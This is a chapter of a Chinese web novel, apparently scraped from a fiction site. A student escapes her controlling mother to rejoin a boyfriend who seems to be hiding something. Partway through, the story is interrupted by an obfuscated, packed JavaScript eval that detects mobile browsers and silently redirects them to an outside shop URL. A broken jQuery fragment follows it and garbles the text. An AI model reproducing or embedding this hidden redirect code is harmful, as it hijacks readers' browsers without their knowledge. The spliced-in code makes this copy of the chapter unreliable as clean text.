文趣网 > 都市小说 > 温柔学长竟是阴湿病娇 > 21. 缸中的第二十一天
    窗外炸开今夜的第一朵烟花。

    新换的电视机画质清晰了不少,春晚的歌舞节目乐声响了起来。

    温煦没问电视机为什么好端端的换了。多半是徐慧勤出院后又吵架,不知谁将那台老电视机砸坏。

    她不愿意听到那种令人恶心的可能落地。

    她站起来给徐慧勤的杯子里添了椰汁,给温成华的高脚杯里添了红酒。

    “今天我很高兴……希望明年爸爸妈妈都身体健康。”

    温煦家没有跨年守夜的习惯,一家人勉强坐到十一点,回了各自的卧室。

    和钟意聊了会天,时间已经跳到23:50。

    温煦的心砰砰跳起来,光脚走到窗边,拉开窗帘。

    俞行正站在楼下。

    夜色中,暖黄的路灯灯光照亮了他颀长挺拔的身形。

    老小区的楼层修得不高,从二楼望下去,近得似乎可以触摸,叫温煦把他嘴角的笑看得清清楚楚。

    温煦还没出声,俞行早已抬头看她了。

    温煦想去陪俞行过除夕的,但是实在找不出来理由在年三十的晚上离开徐慧勤的视线。

    昨天她看着卧室窗外。看久了,似乎也不觉得这三米的距离太高。

    她感到一种诡异的勇气涌进胸膛,一个想法升腾:能不能在跨年前、父母睡觉后,从楼上下去?

    像鸟一样,像蚊虫一样,从窗户的漏洞里飘下去。

    跳下去?

    肯定不行。

    她去问俞行,可不可以带把梯子,然后她爬下来和他跨年。问完就后悔了,这个想法听起来不太正常。

    但俞行似乎很高兴。

    他先严词拒绝了,这是当然。普通人都不会想从楼上跳下去——只为了和男朋友见一面。

    俞行说:【你不用下楼。明天晚上,我到你卧室楼下,你就在家里看见我。】

    【这样我们就是一起跨年了。】

    温煦为自己的头脑一热羞愧,答应了。

    俞行又说:【谢谢你,小鱼。】

    【这是我第二次,不是一个人过年。】

    他又发了那个笑着的颜文字。

    俞行现在站在楼下,晃了晃手里的一个小盒子。他拆开盒子,取出几根仙女棒。

    打火机火苗闪烁,仙女棒顶端瞬间迸出明亮的金色火花。

    他将仙女棒举起来,轻轻挥舞,星火连成流畅的弧线,火花簌簌洒落。

    温煦惊喜地低呼一声。她不知道他准备了这个。

    俞行举着仙女棒,又掏出一只银白小巧的拍立得相机。

    镜头对准,他对她笑了笑。

    一道白光闪过,温煦的笑还没来得及因她的羞涩收回,便被镜头记录。

    相纸缓缓吐出。

    烟花又在夜空炸响,新的一年已到来。

    *****

    年后的日子快得像调了倍速。在交过一篇又一篇读书笔记之后,温煦对大学的专业和生活终于有了更深刻的实感。

    偶然一次饭桌上,徐慧勤突然问:“你导师叫梁予峤?”

    温煦不明所以,迟疑一会后诚实点头。

    “所以你卧室里那本诗集是他送给你的……”

    徐慧勤若有所思,温煦的背后却升腾起一股寒意。

    “妈……你看我的东西了?”

    “之前帮你收拾了一下。”徐慧勤说得平静淡然,“你上大学,别被人欺负。”

    “你现在这个年龄,最容易被人骗。别人要摸你、要亲你,要对你做不好的事,都要拒绝,知道吗?”

    温煦下眼皮跳了跳,嘴角抿紧。

    “知道了吗?”

    见没有回答,徐慧勤也停了筷子,转头望她。

    “知道了。”

    刚吃下去的东西在胃里搅腾,她想吐。

    温煦寒假前想着回家,现在回了家却想去学校。

    徐慧勤分明住了院,接受了治疗,却大概因为和家人的分离,病情愈发古怪。

    不能,也不想在这里多待了。温煦想。

    她和俞行约好了,提前两周回津北。

    她同父母说这个行程。徐慧勤并不知道具体的开学时间,温成华则不关心此事,于是就此定下。

    原本一切都没有破绽。

    但还有三天就要登机时,温煦看见徐慧勤在看机票。

    温煦疑惑:“妈妈,机票我已经买好了。”

    徐慧勤说:“我知道。正好,你快把你的航班号发给我。”

    “……”温煦的脑海好似被清空了,“啊……?”

    “我和你一起去。”

    徐慧勤终于抬眼看她,眼神里满是“这你为什么都不懂”。

    “我没去过你们大学,正好去玩一玩。

    “到时候,你的日常啊,你的同学啊,你的老师啊,都可以给我介绍介绍。”

    想呕的感觉又来了。温煦心里烧起把不耐的火:“妈,我没有做不好的事。”

    “我说你做不好的事了?你怎么这么激动。”

    徐慧勤斜睨她:“当时你就非要报到津北去气我们,现在说去你学校看看都不让?

    “温煦,你吃我的住我的用我的,你现在翅膀硬了,你要去和别人跑了?

    “他给你下了什么药啊?能让你不要妈不要爹的?”

    “我……我没有!”

    温煦终于出声打断,手抖个不停。

    徐慧勤冷笑。

    “那我哪句说错了?”

    哪句说错了?

    哪句都是错的。

    但温煦没敢顶嘴。泪珠子滚下来,她跑回了房间。

    房间外没有声音,显得只有温煦丢盔弃甲,好不狼狈。

    她无声地哭了一会,待情绪冷静了些,才拿出手机。

    她又给俞行发了消息。

    她知道总是和俞行分享这些坏事不好,可是她找不到别人了。钟意虽然和她还有联系,但毕竟客观地碍于学业和实习,话少了些。

    至于大学同学,则并没有知道一星半点她家不对劲的人。

    除了俞行,还有谁呢?

    【要改签吗?】

    【我帮你改。】

    俞行的回复弹了出来,温煦赶紧把眼泪擦干。

    【好。】

    【学长,如果可以的话,我想越早越好……】

    俞行把日期改到了后天。应该是笔不小的花费,温煦猜。

    不过她不想再想她欠了俞行多少个人情了,她只想回到津北——回到正常的生活去。

    她和徐慧勤说了改签的事,并且以梁予峤的线下出版活动做挡箭牌,彰显正当性。

    徐慧勤看了她一眼,好一会没说话。

    然后她拿起手机:“我给你转两千块钱改签,你别用别人的钱。”

    温煦心头一跳,点点头:“我没用别人的。”

    “是了。”徐慧勤没有生气,也没有指责,“到了学校,好好跟着你们老师学习。”

    “谢谢妈妈。”

    温煦疲于揣测徐慧勤的念头,回了卧室发呆。

    ***

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586165|205273||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    **

    遂江的机场依旧和她上次去时一样,窄小、简陋。徐慧勤送她到机场,两人无话。

    候机厅的屏幕上一遍遍滚动着航班信息。

    俞行此刻应该在商务候机厅里。温煦不敢打开手机聊天,安静地等待登机。

    终于,机场的广播响起,游客们陆续排成一列。温煦也走进队列,回头看了眼徐慧勤。

    徐慧勤的嘴角扬起,眼里却没几分笑意。

    温煦一愣。

    客机冲破低空阴翳,过了许久,舷窗外陡然铺开漫无边际的雪域天地。连绵大地尽数被厚雪覆盖,皑皑白雪铺展至天际,苍茫一片。津北到了。

    温煦和俞行刚下了飞机,她就给徐慧勤报平安。

    徐慧勤没有回复。

    温煦权当她在生闷气,不敢深想,和俞行回了他的小区。

    “这就是那张拍立得……”

    温煦小心地托起包裹妥当的相框。

    精致的封裹贴合轮廓,触感温润厚实。相框包裹着的拍立得相片中,闪光的仙女棒靠近画面,后面是她在卧室窗边往下探的模样。

    她笑得自然明媚,两颊的酒窝被闪光灯勾勒出来。

    “好看么?”

    俞行给温煦端来一杯热巧克力,在沙发坐下和她一起看窗外的雪景。

    津北的冬天和遂江的冬天不同,大雪白得刺眼。

    “好看……”温煦抚摸过相片,“你特意从遂江带过来的?”

    “嗯。”俞行轻轻搂住她的腰,将下巴放在她颈窝:“我还从遂江带了很多东西,都是易碎品,很珍贵。”

    温煦好奇地回头:“是什么?”

    俞行笑了。

    “还不能说。”他收紧了些手臂,“遂江的冬天可不会下雪。想试试打雪仗吗?”

    温煦眼睛一亮:“好呀。”

    外边的雪堆得很厚,踩上去“咯吱咯吱”响。

    温煦新奇得很,蹲下来拢了一把雪,团成漂亮的团子,朝着俞行的方向扔过去:“学长小心!”

    雪球砸在他大衣下摆上,碎成粉末。

    俞行弯下腰,不紧不慢地团了一个球,掂了掂。

    “小鱼,你真的要和我打?”

    他挑眉。

    温煦点头,又搓了一个,还没扔出去,就被迎面飞来的雪球正中肩膀。她往后踉跄一步,差点坐进雪里。

    “偷袭!”她不服气地喊,开始毫无章法地乱扔。

    俞行也不躲,偶尔还手,力道轻得像在逗猫。

    笑声在小区空旷的雪地里传得远远的。温煦跑得气喘吁吁,脸颊泛红,睫毛上沾了碎雪。

    “不打啦,打不过你……”

    俞行走过去,帮她拍掉脑袋上的雪,把她的手拉过来,摘下手套,用自己的掌心裹住她冰凉的手指。

    “肚子饿不饿?想吃什么?”

    温煦纠结一会:“铁锅炖……”

    “好。”俞行牵着她往外面走,出了小区,路过家便利店。

    “我进去买些暖宝宝。”温煦钻进店铺的挡风披里,“学长,你等我一会。”

    俞行点头。

    他看着温煦的背影消失在货架转角,才转了个身,和马路对面的中年女人对上视线。

    遥遥一望,人影便又溶在人群中了。

    “在看什么?”温煦提着暖宝宝出来,顺着他的视线看过去。

    人来人往,没什么特别的。

    “没什么。”

    俞行自然地提过她手里的袋子:“没有什么特别的。”